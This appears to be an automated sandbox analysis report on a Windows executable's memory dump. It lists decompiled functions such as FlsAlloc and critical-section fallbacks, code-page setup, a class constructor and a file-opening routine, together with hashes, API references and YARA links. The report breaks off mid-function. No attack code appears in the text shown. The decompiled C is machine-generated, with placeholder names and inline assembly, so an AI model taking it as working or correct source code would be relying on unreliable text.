Opcode Fuzzy Hash: 1f1b4b97ed635b9ad1299bda928cc91c8dcdfbd6a4d55fbd8d93f04d6ffdb6b5
Instruction Fuzzy Hash: EE01D77254420EBBCF22AF95DD05E9E3FBAFB08768F004614FE1426160C6768931EB95

Uniqueness

Uniqueness Score: -1.00%

Function 01379C02, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E01379C02(void* __ecx, void* __esi, void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _t8;
				intOrPtr* _t10;
				int _t11;
				intOrPtr* _t19;
				signed int _t21;

				_push(__ecx);
				_t8 =  *0x138d668; // 0xea6a5ad2
				_v8 = _t8 ^ _t21;
				_t10 = E01379990(0x14, "InitializeCriticalSectionEx", 0x138607c, 0x1386084); // executed
				_t19 = _t10;
				if(_t19 == 0) {
					_t11 = InitializeCriticalSectionAndSpinCount(_a4, _a8);
				} else {
					 *0x1382260(_a4, _a8, _a12);
					_t11 =  *_t19();
				}
				return E0136E203(_t11, _v8 ^ _t21);
			}

0x01379c07
0x01379c08
0x01379c0f
0x01379c24
0x01379c29
0x01379c30
0x01379c4d
0x01379c32
0x01379c3d
0x01379c43
0x01379c43
0x01379c61

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,01379291), ref: 01379C4D

Strings

InitializeCriticalSectionEx, xrefs: 01379C1D

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 421c200dc78a06fd18df2dde00d058ce18f2e92bb4d44643571495994667ccde
Instruction ID: 49c2ab2cb0e0da572dfb7389743031a7ae6f7bc5d80667f944944969ecf10b74
Opcode Fuzzy Hash: 421c200dc78a06fd18df2dde00d058ce18f2e92bb4d44643571495994667ccde
Instruction Fuzzy Hash: 8FF0B475A4530DFBCF216F55DC05EAE7FA9EB04739F004118FD051A250CA724A11D780

Uniqueness

Uniqueness Score: -1.00%

Function 01379AA7, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E01379AA7(void* __ecx, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _t4;
				intOrPtr* _t6;
				long _t7;
				intOrPtr* _t15;
				signed int _t17;

				_push(__ecx);
				_t4 =  *0x138d668; // 0xea6a5ad2
				_v8 = _t4 ^ _t17;
				_t6 = E01379990(3, "FlsAlloc", 0x1386040, 0x1386048); // executed
				_t15 = _t6;
				if(_t15 == 0) {
					_t7 = TlsAlloc();
				} else {
					 *0x1382260(_a4);
					_t7 =  *_t15();
				}
				return E0136E203(_t7, _v8 ^ _t17);
			}

0x01379aac
0x01379aad
0x01379ab4
0x01379ac9
0x01379ace
0x01379ad5
0x01379ae6
0x01379ad7
0x01379adc
0x01379ae2
0x01379ae2
0x01379afa

APIs

TlsAlloc.KERNEL32 ref: 01379AE6

Strings

FlsAlloc, xrefs: 01379AC2

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 7238340c5d36662c5ad8340347afe37501900856330b4842b4397c1371dcec79
Instruction ID: be4f08b440b1c6dcd3374cb28a38f28e9a2b4abbf98a1ac72acebaf1c637549f
Opcode Fuzzy Hash: 7238340c5d36662c5ad8340347afe37501900856330b4842b4397c1371dcec79
Instruction Fuzzy Hash: B5E0A071A45318ABD630BBA69806A6FBBA8DB55738F000159EC0556240DA645A0187C5

Uniqueness

Uniqueness Score: -1.00%

Function 0137281A, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0137281A(void* __eflags, intOrPtr _a4) {
				intOrPtr* _t2;
				intOrPtr* _t6;

				_t2 = E013726F9(4, "FlsAlloc", 0x1384394, "FlsAlloc"); // executed
				_t6 = _t2;
				if(_t6 == 0) {
					return TlsAlloc();
				}
				L0136E2DD();
				return  *_t6(_a4);
			}

0x0137282f
0x01372834
0x0137283b
0x0137284e
0x0137284e
0x01372842
0x0137284b

APIs

try_get_function.LIBVCRUNTIME ref: 0137282F

Strings

FlsAlloc, xrefs: 0137281E, 01372828

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 5921399a32a2125f2cf8a67c40b9dcecb6033731131a61f2bdc9be4509551c1f
Instruction ID: b35ab1e6d8e4e2ce25534a1ad3a2623b6ce927cb506f70632bf50c0e2d2242b6
Opcode Fuzzy Hash: 5921399a32a2125f2cf8a67c40b9dcecb6033731131a61f2bdc9be4509551c1f
Instruction Fuzzy Hash: 4AD05E3278172AB7D52037DA6C02BABBE598B02AB9F050176FF0C65702D5EA952096D1

Uniqueness

Uniqueness Score: -1.00%

Function 0137A873, Relevance: 3.2, APIs: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0137A873(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				signed int _v36;
				signed int _t48;
				int _t51;
				signed int _t54;
				signed int _t55;
				short _t58;
				signed int _t60;
				signed char _t62;
				signed int _t63;
				signed char* _t71;
				signed char* _t72;
				int _t76;
				signed int _t79;
				signed char* _t80;
				short* _t81;
				int _t85;
				signed char _t86;
				signed int _t87;
				signed int _t89;
				signed int _t90;
				int _t92;
				int _t93;
				intOrPtr _t96;
				signed int _t97;

				_t48 =  *0x138d668; // 0xea6a5ad2
				_v8 = _t48 ^ _t97;
				_t96 = _a8;
				_t76 = E0137A446(__eflags, _a4);
				if(_t76 != 0) {
					_t92 = 0;
					__eflags = 0;
					_t79 = 0;
					_t51 = 0;
					_v32 = 0;
					while(1) {
						__eflags =  *((intOrPtr*)(_t51 + 0x138d828)) - _t76;
						if( *((intOrPtr*)(_t51 + 0x138d828)) == _t76) {
							break;
						}
						_t79 = _t79 + 1;
						_t51 = _t51 + 0x30;
						_v32 = _t79;
						__eflags = _t51 - 0xf0;
						if(_t51 < 0xf0) {
							continue;
						} else {
							__eflags = _t76 - 0xfde8;
							if(_t76 == 0xfde8) {
								L23:
								_t60 = _t51 | 0xffffffff;
							} else {
								__eflags = _t76 - 0xfde9;
								if(_t76 == 0xfde9) {
									goto L23;
								} else {
									_t51 = IsValidCodePage(_t76 & 0x0000ffff);
									__eflags = _t51;
									if(_t51 == 0) {
										goto L23;
									} else {
										_t51 = GetCPInfo(_t76,  &_v28);
										__eflags = _t51;
										if(_t51 == 0) {
											__eflags =  *0x13b0854 - _t92; // 0x0
											if(__eflags == 0) {
												goto L23;
											} else {
												E0137A4B9(_t96);
												goto L37;
											}
										} else {
											E0136E920(_t92, _t96 + 0x18, _t92, 0x101);
											 *(_t96 + 4) = _t76;
											 *(_t96 + 0x21c) = _t92;
											_t76 = 1;
											__eflags = _v28 - 1;
											if(_v28 <= 1) {
												 *(_t96 + 8) = _t92;
											} else {
												__eflags = _v22;
												_t71 =  &_v22;
												if(_v22 != 0) {
													while(1) {
														_t86 = _t71[1];
														__eflags = _t86;
														if(_t86 == 0) {
															goto L16;
														}
														_t89 = _t86 & 0x000000ff;
														_t87 =  *_t71 & 0x000000ff;
														while(1) {
															__eflags = _t87 - _t89;
															if(_t87 > _t89) {
																break;
															}
															 *(_t96 + _t87 + 0x19) =  *(_t96 + _t87 + 0x19) | 0x00000004;
															_t87 = _t87 + 1;
															__eflags = _t87;
														}
														_t71 =  &(_t71[2]);
														__eflags =  *_t71;
														if( *_t71 != 0) {
															continue;
														}
														goto L16;
													}
												}
												L16:
												_t72 = _t96 + 0x1a;
												_t85 = 0xfe;
												do {
													 *_t72 =  *_t72 | 0x00000008;
													_t72 =  &(_t72[1]);
													_t85 = _t85 - 1;
													__eflags = _t85;
												} while (_t85 != 0);
												 *(_t96 + 0x21c) = E0137A408( *(_t96 + 4));
												 *(_t96 + 8) = _t76;
											}
											_t93 = _t96 + 0xc;
											asm("stosd");
											asm("stosd");
											asm("stosd");
											L36:
											E0137A51E(_t76, _t89, _t93, _t96, _t96); // executed
											L37:
											_t60 = 0;
											__eflags = 0;
										}
									}
								}
							}
						}
						goto L39;
					}
					E0136E920(_t92, _t96 + 0x18, _t92, 0x101);
					_t54 = _v32 * 0x30;
					__eflags = _t54;
					_v36 = _t54;
					_t55 = _t54 + 0x138d838;
					_v32 = _t55;
					do {
						__eflags =  *_t55;
						_t80 = _t55;
						if( *_t55 != 0) {
							while(1) {
								_t62 = _t80[1];
								__eflags = _t62;
								if(_t62 == 0) {
									break;
								}
								_t90 =  *_t80 & 0x000000ff;
								_t63 = _t62 & 0x000000ff;
								while(1) {
									__eflags = _t90 - _t63;
									if(_t90 > _t63) {
										break;
									}
									__eflags = _t90 - 0x100;
									if(_t90 < 0x100) {
										_t31 = _t92 + 0x138d820; // 0x8040201
										 *(_t96 + _t90 + 0x19) =  *(_t96 + _t90 + 0x19) |  *_t31;
										_t90 = _t90 + 1;
										__eflags = _t90;
										_t63 = _t80[1] & 0x000000ff;
										continue;
									}
									break;
								}
								_t80 =  &(_t80[2]);
								__eflags =  *_t80;
								if( *_t80 != 0) {
									continue;
								}
								break;
							}
							_t55 = _v32;
						}
						_t92 = _t92 + 1;
						_t55 = _t55 + 8;
						_v32 = _t55;
						__eflags = _t92 - 4;
					} while (_t92 < 4);
					 *(_t96 + 4) = _t76;
					 *(_t96 + 8) = 1;
					 *(_t96 + 0x21c) = E0137A408(_t76);
					_t81 = _t96 + 0xc;
					_t89 = _v36 + 0x138d82c;
					_t93 = 6;
					do {
						_t58 =  *_t89;
						_t89 = _t89 + 2;
						 *_t81 = _t58;
						_t81 = _t81 + 2;
						_t93 = _t93 - 1;
						__eflags = _t93;
					} while (_t93 != 0);
					goto L36;
				} else {
					E0137A4B9(_t96);
					_t60 = 0;
				}
				L39:
				return E0136E203(_t60, _v8 ^ _t97);
			}

0x0137a87b
0x0137a882
0x0137a88a
0x0137a892
0x0137a897
0x0137a8a8
0x0137a8a8
0x0137a8aa
0x0137a8ac
0x0137a8ae
0x0137a8b1
0x0137a8b1
0x0137a8b7
0x00000000
0x00000000
0x0137a8bd
0x0137a8be
0x0137a8c1
0x0137a8c4
0x0137a8c9
0x00000000
0x0137a8cb
0x0137a8cb
0x0137a8d1
0x0137a99f
0x0137a99f
0x0137a8d7
0x0137a8d7
0x0137a8dd
0x00000000
0x0137a8e3
0x0137a8e7
0x0137a8ed
0x0137a8ef
0x00000000
0x0137a8f5
0x0137a8fa
0x0137a900
0x0137a902
0x0137a98c
0x0137a992
0x00000000
0x0137a994
0x0137a995
0x00000000
0x0137a995
0x0137a908
0x0137a912
0x0137a917
0x0137a91f
0x0137a925
0x0137a926
0x0137a929
0x0137a97c
0x0137a92b
0x0137a92b
0x0137a92f
0x0137a932
0x0137a934
0x0137a934
0x0137a937
0x0137a939
0x00000000
0x00000000
0x0137a93b
0x0137a93e
0x0137a949
0x0137a949
0x0137a94b
0x00000000
0x00000000
0x0137a943
0x0137a948
0x0137a948
0x0137a948
0x0137a94d
0x0137a950
0x0137a953
0x00000000
0x00000000
0x00000000
0x0137a953
0x0137a934
0x0137a955
0x0137a955
0x0137a958
0x0137a95d
0x0137a95d
0x0137a960
0x0137a961
0x0137a961
0x0137a961
0x0137a971
0x0137a977
0x0137a977
0x0137a981
0x0137a984
0x0137a985
0x0137a986
0x0137aa4a
0x0137aa4b
0x0137aa50
0x0137aa51
0x0137aa51
0x0137aa51
0x0137a902
0x0137a8ef
0x0137a8dd
0x0137a8d1
0x00000000
0x0137aa53
0x0137a9b1
0x0137a9b9
0x0137a9b9
0x0137a9bd
0x0137a9c0
0x0137a9c6
0x0137a9c9
0x0137a9c9
0x0137a9cc
0x0137a9ce
0x0137a9d0
0x0137a9d0
0x0137a9d3
0x0137a9d5
0x00000000
0x00000000
0x0137a9d7
0x0137a9da
0x0137a9f6
0x0137a9f6
0x0137a9f8
0x00000000
0x00000000
0x0137a9df
0x0137a9e5
0x0137a9e7
0x0137a9ed
0x0137a9f1
0x0137a9f1
0x0137a9f2
0x00000000
0x0137a9f2
0x00000000
0x0137a9e5
0x0137a9fa
0x0137a9fd
0x0137aa00
0x00000000
0x00000000
0x00000000
0x0137aa00
0x0137aa02
0x0137aa02
0x0137aa05
0x0137aa06
0x0137aa09
0x0137aa0c
0x0137aa0c
0x0137aa12
0x0137aa15
0x0137aa24
0x0137aa2d
0x0137aa32
0x0137aa38
0x0137aa39
0x0137aa39
0x0137aa3c
0x0137aa3f
0x0137aa42
0x0137aa45
0x0137aa45
0x0137aa45
0x00000000
0x0137a899
0x0137a89a
0x0137a8a0
0x0137a8a0
0x0137aa54
0x0137aa63

APIs

Part of subcall function 0137A446: GetOEMCP.KERNEL32(00000000,?,?,0137A6CF,?), ref: 0137A471

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0137A714,?,00000000), ref: 0137A8E7
GetCPInfo.KERNEL32(00000000,0137A714,?,?,?,0137A714,?,00000000), ref: 0137A8FA

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: c36114b39929518090f5576bed1533f8c8724a8effa5f6b5a7a0a290fb6c5e28
Instruction ID: aa318636b3511d87d6e900f766f75055958ce0e10b1f0b5a219e51c05c257937
Opcode Fuzzy Hash: c36114b39929518090f5576bed1533f8c8724a8effa5f6b5a7a0a290fb6c5e28
Instruction Fuzzy Hash: AA51237490034A9EEB35DF79C4946BFBFE9AF42218F1C806ED1968B281E63D9145CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01351382, Relevance: 3.1, APIs: 2, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E01351382(intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t56;
				signed int _t62;
				signed int _t63;
				char _t64;
				intOrPtr _t74;
				intOrPtr* _t78;
				void* _t86;
				void* _t87;
				intOrPtr* _t89;
				void* _t91;
				void* _t96;

				_t96 = __eflags;
				_t87 = __edi;
				_t86 = __edx;
				_t78 = __ecx;
				E0136D870(_t56, _t91);
				_push(_t78);
				_t89 = _t78;
				 *((intOrPtr*)(_t91 - 0x10)) = _t89;
				E0135943C(_t78);
				 *_t89 = 0x13822e8;
				 *((intOrPtr*)(_t91 - 4)) = 0;
				E01355E99(_t89 + 0x1024, _t86, _t96);
				 *((char*)(_t91 - 4)) = 1;
				E0135C4CA(_t89 + 0x20e8, _t86, _t96);
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				E0135151B();
				_t62 = E0135151B();
				 *((char*)(_t91 - 4)) = 4;
				_t63 = _t62 & 0xffffff00 |  *((intOrPtr*)(_t91 + 8)) == 0x00000000;
				 *((intOrPtr*)(_t89 + 0x21bc)) = 0;
				 *(_t89 + 0x21b8) = _t63;
				_t98 = _t63;
				if(_t63 == 0) {
					_t64 =  *((intOrPtr*)(_t91 + 8));
				} else {
					_t74 = E0136D82C(_t86, _t89, _t98, 0x82e8);
					 *((intOrPtr*)(_t91 + 8)) = _t74;
					 *((char*)(_t91 - 4)) = 5;
					if(_t74 == 0) {
						_t64 = 0;
					} else {
						_t64 = E0135AD1B(_t74); // executed
					}
				}
				 *((intOrPtr*)(_t89 + 0x21bc)) = _t64;
				 *(_t89 + 0x21c0) =  *(_t89 + 0x21c0) | 0xffffffff;
				 *(_t89 + 0x21c4) =  *(_t89 + 0x21c4) | 0xffffffff;
				 *(_t89 + 0x21c8) =  *(_t89 + 0x21c8) | 0xffffffff;
				 *((char*)(_t89 + 0x1d)) =  *((intOrPtr*)(_t64 + 0x6199));
				 *((intOrPtr*)(_t89 + 0x6cb0)) = 2;
				 *((intOrPtr*)(_t89 + 0x6cb4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cb8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cc0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				 *((char*)(_t89 + 0x6cbc)) = 0;
				 *((short*)(_t89 + 0x6cc4)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cac)) = 0;
				E0136E920(_t87, _t89 + 0x2208, 0, 0x40);
				E0136E920(_t87, _t89 + 0x2248, 0, 0x34);
				E0136E920(_t87, _t89 + 0x4590, 0, 0x20);
				 *((intOrPtr*)(_t89 + 0x6cd8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cec)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf4)) = 0;
				 *((short*)(_t89 + 0x6cfa)) = 0;
				 *((char*)(_t89 + 0x6cd6)) = 0;
				 *((char*)(_t89 + 0x6cf8)) = 0;
				 *((char*)(_t89 + 0x21e0)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t89;
			}

0x01351382
0x01351382
0x01351382
0x01351382
0x01351382
0x01351387
0x0135138a
0x0135138c
0x0135138f
0x01351396
0x013513a2
0x013513a5
0x013513b0
0x013513b4
0x013513bf
0x013513c5
0x013513cb
0x013513d6
0x013513de
0x013513e2
0x013513e5
0x013513eb
0x013513f1
0x013513f3
0x01351418
0x013513f5
0x013513fa
0x01351400
0x01351403
0x01351409
0x01351414
0x0135140b
0x0135140d
0x0135140d
0x01351409
0x0135141b
0x01351427
0x0135142e
0x01351435
0x0135143e
0x01351449
0x01351453
0x01351459
0x0135145f
0x01351465
0x0135146b
0x01351471
0x01351477
0x0135147e
0x01351484
0x0135148a
0x01351490
0x01351496
0x0135149c
0x013514ab
0x013514ba
0x013514c5
0x013514cd
0x013514d3
0x013514d9
0x013514df
0x013514e5
0x013514eb
0x013514f1
0x013514fa
0x01351500
0x01351506
0x0135150e
0x01351518

APIs

__EH_prolog.LIBCMT ref: 01351382

Part of subcall function 01355E99: __EH_prolog.LIBCMT ref: 01355E9E

Part of subcall function 0135C4CA: __EH_prolog.LIBCMT ref: 0135C4CF
Part of subcall function 0135C4CA: new.LIBCMT ref: 0135C512
Part of subcall function 0135C4CA: new.LIBCMT ref: 0135C536

new.LIBCMT ref: 013513FA

Part of subcall function 0135AD1B: __EH_prolog.LIBCMT ref: 0135AD20

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 9c83dad862ecf2e55482c58e7d6b91dcedb03ff83f15c56901188633aa966f4a
Instruction ID: 431c6a32c0963e0b9e5e982b949906be142b4e97704ef3fded6defe045681730
Opcode Fuzzy Hash: 9c83dad862ecf2e55482c58e7d6b91dcedb03ff83f15c56901188633aa966f4a
Instruction Fuzzy Hash: 7B4112B0905B419EE764DF798484AE6FAF5FF28308F504A2ED9EE83281CB326554CB15

Uniqueness

Uniqueness Score: -1.00%

Function 0135137D, Relevance: 3.1, APIs: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0135137D(intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				signed int _t62;
				signed int _t63;
				char _t64;
				intOrPtr _t74;
				intOrPtr* _t78;
				void* _t86;
				void* _t87;
				intOrPtr* _t89;
				void* _t91;
				void* _t96;

				_t96 = __eflags;
				_t87 = __edi;
				_t86 = __edx;
				_t78 = __ecx;
				E0136D870(E01381157, _t91);
				_push(_t78);
				_t89 = _t78;
				 *((intOrPtr*)(_t91 - 0x10)) = _t89;
				E0135943C(_t78);
				 *_t89 = 0x13822e8;
				 *((intOrPtr*)(_t91 - 4)) = 0;
				E01355E99(_t89 + 0x1024, _t86, _t96);
				 *((char*)(_t91 - 4)) = 1;
				E0135C4CA(_t89 + 0x20e8, _t86, _t96);
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				E0135151B();
				_t62 = E0135151B();
				 *((char*)(_t91 - 4)) = 4;
				_t63 = _t62 & 0xffffff00 |  *((intOrPtr*)(_t91 + 8)) == 0x00000000;
				 *((intOrPtr*)(_t89 + 0x21bc)) = 0;
				 *(_t89 + 0x21b8) = _t63;
				_t98 = _t63;
				if(_t63 == 0) {
					_t64 =  *((intOrPtr*)(_t91 + 8));
				} else {
					_t74 = E0136D82C(_t86, _t89, _t98, 0x82e8);
					 *((intOrPtr*)(_t91 + 8)) = _t74;
					 *((char*)(_t91 - 4)) = 5;
					if(_t74 == 0) {
						_t64 = 0;
					} else {
						_t64 = E0135AD1B(_t74); // executed
					}
				}
				 *((intOrPtr*)(_t89 + 0x21bc)) = _t64;
				 *(_t89 + 0x21c0) =  *(_t89 + 0x21c0) | 0xffffffff;
				 *(_t89 + 0x21c4) =  *(_t89 + 0x21c4) | 0xffffffff;
				 *(_t89 + 0x21c8) =  *(_t89 + 0x21c8) | 0xffffffff;
				 *((char*)(_t89 + 0x1d)) =  *((intOrPtr*)(_t64 + 0x6199));
				 *((intOrPtr*)(_t89 + 0x6cb0)) = 2;
				 *((intOrPtr*)(_t89 + 0x6cb4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cb8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cc0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				 *((char*)(_t89 + 0x6cbc)) = 0;
				 *((short*)(_t89 + 0x6cc4)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cac)) = 0;
				E0136E920(_t87, _t89 + 0x2208, 0, 0x40);
				E0136E920(_t87, _t89 + 0x2248, 0, 0x34);
				E0136E920(_t87, _t89 + 0x4590, 0, 0x20);
				 *((intOrPtr*)(_t89 + 0x6cd8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cec)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf4)) = 0;
				 *((short*)(_t89 + 0x6cfa)) = 0;
				 *((char*)(_t89 + 0x6cd6)) = 0;
				 *((char*)(_t89 + 0x6cf8)) = 0;
				 *((char*)(_t89 + 0x21e0)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t89;
			}

0x0135137d
0x0135137d
0x0135137d
0x0135137d
0x01351382
0x01351387
0x0135138a
0x0135138c
0x0135138f
0x01351396
0x013513a2
0x013513a5
0x013513b0
0x013513b4
0x013513bf
0x013513c5
0x013513cb
0x013513d6
0x013513de
0x013513e2
0x013513e5
0x013513eb
0x013513f1
0x013513f3
0x01351418
0x013513f5
0x013513fa
0x01351400
0x01351403
0x01351409
0x01351414
0x0135140b
0x0135140d
0x0135140d
0x01351409
0x0135141b
0x01351427
0x0135142e
0x01351435
0x0135143e
0x01351449
0x01351453
0x01351459
0x0135145f
0x01351465
0x0135146b
0x01351471
0x01351477
0x0135147e
0x01351484
0x0135148a
0x01351490
0x01351496
0x0135149c
0x013514ab
0x013514ba
0x013514c5
0x013514cd
0x013514d3
0x013514d9
0x013514df
0x013514e5
0x013514eb
0x013514f1
0x013514fa
0x01351500
0x01351506
0x0135150e
0x01351518

APIs

__EH_prolog.LIBCMT ref: 01351382

Part of subcall function 01355E99: __EH_prolog.LIBCMT ref: 01355E9E

Part of subcall function 0135C4CA: __EH_prolog.LIBCMT ref: 0135C4CF
Part of subcall function 0135C4CA: new.LIBCMT ref: 0135C512
Part of subcall function 0135C4CA: new.LIBCMT ref: 0135C536

new.LIBCMT ref: 013513FA

Part of subcall function 0135AD1B: __EH_prolog.LIBCMT ref: 0135AD20

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2c9817c004715045fa1d9da12072d07eefd544d910fe6b64e6a8c3ccd0df547c
Instruction ID: 1973d4d3b48a28285a3f0dafadee7186fb3e061e01791467f4d2ae36ab7392c2
Opcode Fuzzy Hash: 2c9817c004715045fa1d9da12072d07eefd544d910fe6b64e6a8c3ccd0df547c
Instruction Fuzzy Hash: C24125B0905B419EE764DF798484AE6FBF5FF28304F504A2EC9EE83281CB326554CB15

Uniqueness

Uniqueness Score: -1.00%

Function 01359528, Relevance: 3.1, APIs: 2, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01359528(void* __ecx, short _a4, WCHAR* _a4104, signed char _a4108) {
				long _v0;
				signed char _t34;
				signed int _t36;
				void* _t37;
				signed char _t46;
				struct _SECURITY_ATTRIBUTES* _t47;
				long _t56;
				void* _t59;
				long _t63;

				E0136D940();
				_t46 = _a4108;
				_t34 = _t46 >> 0x00000001 & 0x00000001;
				_t59 = __ecx;
				if((_t46 & 0x00000010) != 0 ||  *((char*)(__ecx + 0x1d)) != 0) {
					_t63 = 1;
					__eflags = 1;
				} else {
					_t63 = 0;
				}
				 *(_t59 + 0x18) = _t46;
				_v0 = ((0 | _t34 == 0x00000000) - 0x00000001 & 0x80000000) + 0xc0000000;
				_t36 =  *(E0135B927(_t34, _a4104)) & 0x0000ffff;
				if(_t36 == 0x2e || _t36 == 0x20) {
					if((_t46 & 0x00000020) != 0) {
						goto L8;
					} else {
